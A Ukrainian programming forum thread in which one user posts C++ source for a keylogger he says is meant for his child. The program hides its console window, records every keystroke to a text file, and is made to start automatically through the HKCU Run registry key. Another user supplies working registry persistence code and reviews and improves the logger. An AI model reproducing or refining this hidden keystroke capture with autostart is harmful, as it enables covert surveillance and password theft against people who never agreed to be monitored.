1

Тема: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Типу в мене є програма. В ній треба прописати код на автозагрузку (щоб вона вмикалась при запуску системи). Можливо, я не знатиму точне місцезнаходження програми в майбутньому (просто я гуглив, то в деякий випадках треба вказувати повний шлях до програми, хоча і це не робило). Поділіться, будь ласка, простеньким, але дієвим та ефективним способом автозагрузки. Ну і, взагалі, реально створити автозагрузку таким кодом, якщо я не адмін системи і в мене немає прав до диску С?

2

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Почнемо з того, що тут все залежить від операційної системи. В DOS у вас немає прав доступу до диску C, бо там взагалі немає прав доступу; в Linux - бо там немає диску C. Не скажете, яка ОС - навряд чи вам допоможемо.
По-друге, програма, що прописується в автозавантаження - це не дуже красиво (принаймні без дозволу користувача) і в деяких випадках може бути сприйнято антивірусом за загрозу. Подумайте, чи справді вам потрібне саме автозавантаження і чи не вистачить того, щоб користувач самостійно ставив програму на автозавантаження.
Ну а якщо (телепатично) у вас Windows і (телепатично) вам треба, щоб програма завантажувалася з поточного місця, коли користувач входить до системи - то:
- отримуєте повний шлях до своєї програми (GetModuleFileName);
далі 2 варіанти. Перший:
- отримуєте папку автозавантаження (SHGetKnownFolderPath для CSIDL_STARTUP).
- створюєте там посилання на файл (CreateSymbolicLink).
Другий:
- в реєстрі відкриваєте (RegOpenKeyEx) ключ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  .
- створюєте значення (RegSetValueEx) типу REG_SZ для своєї програми.
- не забуваєте закрити ключ (RegCloseKey).

Але краще розкажіть детальніше, що саме ви хочете зробити.

Подякували: leofun011

3

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

Почнемо з того, що тут все залежить від операційної системи. В DOS у вас немає прав доступу до диску C, бо там взагалі немає прав доступу; в Linux - бо там немає диску C. Не скажете, яка ОС - навряд чи вам допоможемо.
По-друге, програма, що прописується в автозавантаження - це не дуже красиво (принаймні без дозволу користувача) і в деяких випадках може бути сприйнято антивірусом за загрозу. Подумайте, чи справді вам потрібне саме автозавантаження і чи не вистачить того, щоб користувач самостійно ставив програму на автозавантаження.
Ну а якщо (телепатично) у вас Windows і (телепатично) вам треба, щоб програма завантажувалася з поточного місця, коли користувач входить до системи - то:
- отримуєте повний шлях до своєї програми (GetModuleFileName);
далі 2 варіанти. Перший:
- отримуєте папку автозавантаження (SHGetKnownFolderPath для CSIDL_STARTUP).
- створюєте там посилання на файл (CreateSymbolicLink).
Другий:
- в реєстрі відкриваєте (RegOpenKeyEx) ключ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  .
- створюєте значення (RegSetValueEx) типу REG_SZ для своєї програми.
- не забуваєте закрити ключ (RegCloseKey).

Але краще розкажіть детальніше, що саме ви хочете зробити.


ОС - віндовс. Моя програма буде натискати певні клавіші при запуску віндовс і кожен раз записувати їх в вже існуючий текстовий файл. Ну от і треба, щоб при першому її запуску вона добавила себе в автозагрузку, щоб при наступному і подальшому включенні ПК вона вже відкривалась сама по собі.

4 Востаннє редагувалося koala (08.12.2018 10:53:15)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

"Записувати клавіші" - це як?
І, зрештою, нащо? Може, є простіший спосіб це зробити?

5 Востаннє редагувалося Raikoho (08.12.2018 11:00:03)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

"Записувати клавіші" - це як?
І, зрештою, нащо? Може, є простіший спосіб це зробити?

Ну гаразд, пишу як є. Написав простенький кейлогер для свого малого і на мій пк. Він трошки баганий - це факт, але, в принципі, життєздатний. Можна відкривати під антивірусом, так як це, по суті, не є ним. Ось код з закоментованою спробою добавити автозагрузку в регістр (її взяв з інтернету і не працює).

#include <iostream>
#include <windows.h>
#include <conio.h>
#include <stdlib.h>
#include <fstream>

using namespace std;

void CheckFile(string s)
{
    fstream f;
    f.open("Keylogger.txt",ios::app);
    if (f.is_open())
    {
        f<<s;
        f.close();
    }
}
bool checkSpecial(int key)
{
    switch(key){
    case VK_SPACE:
        cout << " ";
        CheckFile(" ");
        return true;
    case VK_RETURN:
        cout << "\n";
        CheckFile("\n");
        return true;
    case 190:
        cout << ".";
        CheckFile(".");
        return true;
    case VK_SHIFT:
        cout << "{SHIFT}";
        CheckFile("{SHIFT}");
        return true;

    case VK_LBUTTON:
        return true;
    case VK_RBUTTON:
        return true;
    case VK_BACK:
        cout << "{BACKSPACE";
        CheckFile("{BACKSPACE}");
        return true;
    case VK_RIGHT:
        cout << "{RIGHT}";
        CheckFile("{RIGHT}");
        return true;
    case VK_CONTROL:
        cout << "{CONTROL}";
        CheckFile("{CONTROL}");
        return true;
    case VK_LEFT:
        cout << "{LEFT}";
        CheckFile("{LEFT}");
        return true;

    default:
        return false;
    }
}


int main()
{//-------------------------------------------------------------------------
  /*  HKEY hKey;
char szPath[0x100];
GetModuleFileName(NULL, szPath, sizeof(szPath));
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                 NULL,
                 "",
                 REG_OPTION_NON_VOLATILE,
                 KEY_SET_VALUE,
                 NULL,
                 &hKey,
                 NULL);

if (hKey)
{
    RegSetValueEx(hKey, "My program", NULL, REG_SZ, (LPBYTE)szPath, strlen(szPath));
    RegCloseKey(hKey);
}*/
/*Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"System"="D:\\codeblocks\\keyloger\\bin\\Debug\\keyloger.exe" ;*/
//--------------------------------------------- add to autozapusk (top) ---------------------------------
    HWND hide;
    AllocConsole();
    hide=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(hide,0);
    char key='a';
    while(true)
    {
        for(key=8;key<=190;key++)
        {
            if(GetAsyncKeyState(key)==-32767)
            {
                if(!checkSpecial(key))
                {
                    fstream f;
                    f.open("KeyLogger.txt", ios::app);
                    if(f.is_open())
                    {
                        f<<char(key);
                        f.close();
                    }
                }
            }
        }
    }
}

6

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Знову ж таки телепатично провижу, що "не працює" - це hKey дорівнює 0 (що, до речі, документація не гарантує у випадку помилки, читайте уважніше). А це тому, що програма запускається без адмінправ, а без них HKEY_LOCAL_MACHINE на запис, швидше за все, недоступний. Зате доступний HKEY_CURRENT_USER, про що я вже писав.
Ну і пара дрібниць:
- уникайте "магічних" констант чи хоча б пишіть їх якомога ближче до того, що в документації: не зовсім зрозуміло, що -32767 - це два байти зі встановленими першим і останнім бітами, навіть 0x8001 краще, а названа константа - ще краще;
- FindWindow знаходить будь-яке вікно з відповідними характеристиками, а вам треба, я так розумію, GetConsoleWindow;
- змінні бажано проголошувати якомога ближче до використання, і надавати їм значення відповідно до їхнього типу:

for(char key='\b';key<='\190';key++)

що таке те 190, до речі?
- checkSpecial повертає false лише у випадку default; може, перейменувати функцію та запхати гілку з !checkSpecial в її default?
- у fstream дуже хороші конструктор, деструктор та operator bool:

                {
                    fstream f("KeyLogger.txt", ios::app); //одразу відкрити
                    if(f) //закритий чи збійний поверне false
                    {
                        f<<key;//key і так char
                    }
                } //при виході з блоку, де створювався fstream, він буде закритий деструктором
Подякували: leofun011

7

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

Знову ж таки телепатично провижу, що "не працює" - це hKey дорівнює 0 (що, до речі, документація не гарантує у випадку помилки, читайте уважніше). А це тому, що програма запускається без адмінправ, а без них HKEY_LOCAL_MACHINE на запис, швидше за все, недоступний. Зате доступний HKEY_CURRENT_USER, про що я вже писав.
Ну і пара дрібниць:
- уникайте "магічних" констант чи хоча б пишіть їх якомога ближче до того, що в документації: не зовсім зрозуміло, що -32767 - це два байти зі встановленими першим і останнім бітами, навіть 0xA001 краще, а названа константа - ще краще;
- FindWindow знаходить будь-яке вікно з відповідними характеристиками, а вам треба, я так розумію, GetConsoleWindow;
- змінні бажано проголошувати якомога ближче до використання, і надавати їм значення відповідно до їхнього типу:

for(char key='\b';key<='\190';key++)

що таке те 190, до речі?
- checkSpecial повертає false лише у випадку default; може, перейменувати функцію та запхати гілку з !checkSpecial в її default?
- у fstream дуже хороші конструктор, деструктор та operator bool:

                {
                    fstream f("KeyLogger.txt", ios::app); //одразу відкрити
                    if(f) //закритий чи збійний поверне false
                    {
                        f<<key;//key і так char
                    }
                } //при виході з блоку, де створювався fstream, він буде закритий деструктором

190 - це типу мала бути точка, але шось вона не працює. В принципі, я зрозумів вашу суть, але трошки не шарю в цьому, тому деякі строки запозичував. Тут найшов подібну інфу про них: http://www.cplusplus.com/forum/general/141404/

8

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

https://docs.microsoft.com/uk-ua/window … -key-codes

VK_OEM_PERIOD
0xBE
For any country/region, the '.' key

Тоді вже

for(unsigned char key=VK_BACK;key<=VK_OEM_CLEAR;++key)
Подякували: Raikoho1

9 Востаннє редагувалося Raikoho (08.12.2018 12:08:55)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

https://docs.microsoft.com/uk-ua/window … -key-codes

VK_OEM_PERIOD
0xBE
For any country/region, the '.' key

Тоді вже

for(unsigned char key=VK_BACK;key<=VK_OEM_CLEAR;++key)

Працює). А можливо якось відслідковувати мову? Чи це вже ультра хард? В принципі, я можу без цього обійтись. Зараз би з автозапуском розібратись

#include <iostream>
#include <windows.h>
#include <conio.h>
#include <stdlib.h>
#include <fstream>
#include <Winuser.h>


using namespace std;

void CheckFile(string s)
{
    fstream f;
    f.open("Keylogger.txt",ios::app);
    if (f.is_open())
    {
        f<<s;
        f.close();
    }
}
bool checkSpecial(int key)
{
    switch(key){
    case VK_SPACE:
        cout << " ";
        CheckFile(" ");
        return true;
    case VK_RETURN:
        cout << "\n";
        CheckFile("\n");
        return true;
    case 0xBE:
        cout << ".";
        CheckFile(".");
        return true;
    case VK_SHIFT:
        cout << "{SHIFT}";
        CheckFile("{SHIFT}");
        return true;

    case VK_LBUTTON:
        return true;
    case VK_RBUTTON:
        return true;
    case VK_BACK:
        cout << "{BACKSPACE";
        CheckFile("{BACKSPACE}");
        return true;
    case VK_RIGHT:
        cout << "{RIGHT}";
        CheckFile("{RIGHT}");
        return true;
    case VK_CONTROL:
        cout << "{CONTROL}";
        CheckFile("{CONTROL}");
        return true;
    case VK_LEFT:
        cout << "{LEFT}";
        CheckFile("{LEFT}");
        return true;

    default:
        return false;
    }
}


int main()
{
    HWND hide;
    AllocConsole();
    hide=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(hide,0);

    while(true)
    {
        for(unsigned char key=VK_BACK;key<=VK_OEM_CLEAR;++key)
        {
            if(GetAsyncKeyState(key)==-32767)
            {
                if(!checkSpecial(key))
                {
                    fstream f;
                    f.open("KeyLogger.txt", ios::app);
                    if(f.is_open())
                    {
                        f<<char(key);
                        f.close();
                    }
                }
            }
        }
    }
}

10

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

З мовами головна проблема в тому, що вони можуть бути різні навіть не для різних процесів, а для різних потоків цих процесів. А так - GetKeyNameText.

Подякували: Raikoho1

11

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

З мовами головна проблема в тому, що вони можуть бути різні навіть не для різних процесів, а для різних потоків цих процесів. А так - GetKeyNameText.

Ааа, це типу для того, щоб зчитати клавіші для зміни мови? Наприклад, альт+шифт. Трохи складно буде реалізувати і не завжди робитиме правильно... А як з автозапуском? Можна якийсь банальний приклад коду?

12

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Перечитайте уважніше, що я написав.

13 Востаннє редагувалося Raikoho (09.12.2018 10:44:34)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Уважніше стосовно автозапуску чи GetKeyNameText? На рахунок GetKeyNameText - так і не зрозумів замість чого її використовувати. Замість всіх клавіш, які я добавляв в кожен case?. А щодо автозапуску, то  поки знайшов нарешті шлях до файлу

TCHAR szPath[MAX_PATH];

    if( GetModuleFileName( NULL, szPath, MAX_PATH ) )
    {
        cout<<szPath;
    }

а далі сам автозапуск, по методиці, яку ви приблизно описували, але автозапуск так і не відбувається:

HKEY hKey;
   RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                 NULL,
                 "",
                 REG_OPTION_NON_VOLATILE,
                 KEY_SET_VALUE,
                 NULL,
                 &hKey,
                 NULL);
   if (hKey)
{
    RegSetValueEx(hKey, "My program", NULL, REG_SZ, (LPBYTE)szPath, strlen(szPath));
    RegCloseKey(hKey);
}

14

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Серйозно? Дійшли до 8-го рядка у моєму першому дописі в цій темі?

15

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:

Серйозно? Дійшли до 8-го рядка у моєму першому дописі в цій темі?

Ну якось так))

16

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Raikoho написав:
koala написав:

Серйозно? Дійшли до 8-го рядка у моєму першому дописі в цій темі?

Ну якось так))

Ну а тепер дістаньтеся 13-го.

17 Востаннє редагувалося Raikoho (09.12.2018 11:27:54)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:
Raikoho написав:
koala написав:

Серйозно? Дійшли до 8-го рядка у моєму першому дописі в цій темі?

Ну якось так))

Ну а тепер дістаньтеся 13-го.

Дістався, тепер загружає з таким кодом:

GetModuleFileName( NULL, szPath, MAX_PATH );

   HKEY hg;
RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_ALL_ACCESS,&hg);
RegSetValueEx(hg,"keyWritting",0,REG_SZ,(LPBYTE)szPath ,strlen(szPath));
RegCloseKey(hg);

Але з'явилась проблема: програма відкривається при запуску віндовс і є процес, але перестає записувати натискання клавіш. Типу якщо її просто відкрити - записує і создає текстовий файл, якщо його немає; коли відкривається автозапуском, то нічого не відбувається, крім того, що вона просто вісить собі в процесах...

18 Востаннє редагувалося koala (09.12.2018 14:17:17)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Проекспериментував
#include <iostream>
#include <iomanip>
#include <string>

#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <windows.h>

void report_error(const TCHAR * function, DWORD error_code = GetLastError())
{
    std::cout << function << ": error " << std::hex << error_code << " happened";
    TCHAR * message = reinterpret_cast<TCHAR *>(&message);
    DWORD result = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, error_code, 0, message, 128, NULL);
    if( result ) {
        std::cout << ": " << message << std::endl;
        if(LocalFree(message)!=NULL){
            std::cout << "LocalFree failed, PANIC!!!!1111";
            exit(1);
        }
    }
    else {
        std::cout << " and FormatMessage failed" << std::endl;
    }
}
#if (defined __FILE__) and (defined __LINE__)
#define OUTPUT_FILE_LINE {std::cout<<__FILE__ <<":"<<__LINE__<<" ";}
#else
#define OUTPUT_FILE_LINE
#endif

#define REPORT_ERROR(function) { \
    OUTPUT_FILE_LINE             \
    report_error(function);      \
}

#define REPORT_ERROR_CODE(function, code) { \
    OUTPUT_FILE_LINE                        \
    report_error(function, code);           \
}

int main()
{
    HKEY hKey;
    DWORD result = RegOpenKeyEx(HKEY_CURRENT_USER,
                                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                                0,
                                KEY_SET_VALUE,
                                &hKey);
    if( (result != ERROR_SUCCESS) || (hKey == NULL) ) {
        REPORT_ERROR_CODE("RegOpenKeyEx", result);
    } else {
        TCHAR exectutable_path[MAX_PATH];
        DWORD path_length = GetModuleFileName( NULL, exectutable_path, MAX_PATH );
        if( path_length == 0 ||  MAX_PATH <= path_length ) {
            REPORT_ERROR("GetModuleFileName");
        } else {
            LONG result = RegSetValueEx(hKey, "My program", 0, REG_SZ, (LPBYTE)exectutable_path, path_length);
            if( result != ERROR_SUCCESS ){
                REPORT_ERROR("RegSetValueEx");
            }
        }
        LONG result = RegCloseKey(hKey);
        if( result != ERROR_SUCCESS ){
            REPORT_ERROR("RegCloseKey");
        }
    }
    TCHAR path[MAX_PATH];
    DWORD path_length = GetCurrentDirectory(MAX_PATH, path);
    if( path_length == 0 || MAX_PATH <= path_length ) {
        REPORT_ERROR("GetCurrentDirectory");
    } else {
        std::cout << "Current path: '" << path << "'" << std::endl;
    }
    MessageBox(NULL,"My program", "Done", MB_OK);
    return 0;
}

UPD: оновив report_error, тепер код може виставлятися параметром
UPD2: покращив повідомлення про помилки, замінив RegCreateKeyEx на RegOpenKeyEx

Файли з SOFTWARE\Microsoft\Windows\CurrentVersion\Run завантажуються з поточною папкою C:\Windows\System32. Варіанти вирішення:
- прописати шлях до файлу жорстко (чи відносно одного з CSIDL, наприклад, CSIDL_PERSONAL);
- SetCurrentDirectory;
- прописатися в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths, але тоді знадобляться адмінправа.

19 Востаннє редагувалося Raikoho (09.12.2018 13:57:34)

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

koala написав:
Проекспериментував
#include <iostream>
#include <iostream>
#include <iomanip>
#include <string>

#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <windows.h>

void report_error(const TCHAR * function, DWORD error_code = GetLastError())
{
    std::cout << function << ": error " << std::hex << error_code << " happened";
    TCHAR * message = reinterpret_cast<TCHAR *>(&message);
    DWORD result = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, error_code, 0, message, 128, NULL);
    if( result ) {
        std::cout << ": " << message << std::endl;
        LocalFree(message);
    }
    else {
        std::cout << " and FormatMessage failed" << std::endl;
    }
}

int main()
{
    HKEY hKey;
    DWORD result = RegCreateKeyEx(HKEY_CURRENT_USER,
                                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                                0,
                                NULL,
                                REG_OPTION_NON_VOLATILE,
                                KEY_SET_VALUE,
                                NULL,
                                &hKey,
                                NULL);
    if( (result != ERROR_SUCCESS) || (hKey == NULL) ) {
        report_error("RegCreateKeyEx", result);
    } else {
        TCHAR exectutable_path[MAX_PATH];
        DWORD path_length = GetModuleFileName( NULL, exectutable_path, MAX_PATH );
        if( path_length == 0 ||  MAX_PATH <= path_length ) {
            report_error("GetModuleFileName");
        } else {
            LONG result = RegSetValueEx(hKey, "My program", 0, REG_SZ, (LPBYTE)exectutable_path, path_length);
            if( result != ERROR_SUCCESS ){
                report_error("RegSetValueEx");
            }
        }
        LONG result = RegCloseKey(hKey);
        if( result != ERROR_SUCCESS ){
            report_error("RegCloseKey");
        }
    }
    TCHAR path[MAX_PATH];
    DWORD path_length = GetCurrentDirectory(MAX_PATH, path);
    if( path_length == 0 || MAX_PATH <= path_length ) {
        report_error("GetCurrentDirectory");
    } else {
        std::cout << "Current path: '" << path << "'" << std::endl;
    }
    MessageBox(NULL,"My program", "Done", MB_OK);
    return 0;
}

UPD: оновив report_error, тепер код може виставлятися параметром

Файли з SOFTWARE\Microsoft\Windows\CurrentVersion\Run завантажуються з поточною папкою C:\Windows\System32. Варіанти вирішення:
- прописати шлях до файлу жорстко (чи відносно одного з CSIDL, наприклад, CSIDL_PERSONAL);
- SetCurrentDirectory;
- прописатися в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths, але тоді знадобляться адмінправа.

То в чому була моя проблема? Типу воно не встигає загрузитись, так як ще не прогрузилась папка C:\Windows\System32? Чи недостатньо адмін прав (програма ж відкривається без них норм, по суті)? Пробував скопіювати ваш варіант до моєї програми - все те ж саме, хоча повідомлення виводиться норм. І ще одне: я написав 2 massagemax'a до і після мого циклу в мейні:

MessageBox(NULL,"My program", "Done", MB_OK);
while(true)
    {
        for(unsigned char key=VK_BACK;key<=VK_OEM_CLEAR;++key)
        {
            if(GetAsyncKeyState(key)==-32767)
            {
                if(!checkSpecial(key))
                {
                    fstream f;
                    f.open("KeyLogger.txt", ios::app);
                    if(f.is_open())
                    {
                        f<<char(key);
                        f.close();
                    }
                }
            }
        }
    }
MessageBox(NULL,"My program", "Done", MB_OK);

Так от, при запуску віндовс виводиться тільки одне повідомлення, а не 2. Зате коли програму просто запустити, то виводиться 2

20

Re: Як добавити програму в автозагрузку, якщо невідомо місцезнаходження?

Без адмінправ неможливо створити файл в C:\Windows\System32.
Якщо виводиться 2 повідомлення - значить, while(true) завершився; чому - я зрозуміти не можу, мабуть, ви не весь суттєвий код навели.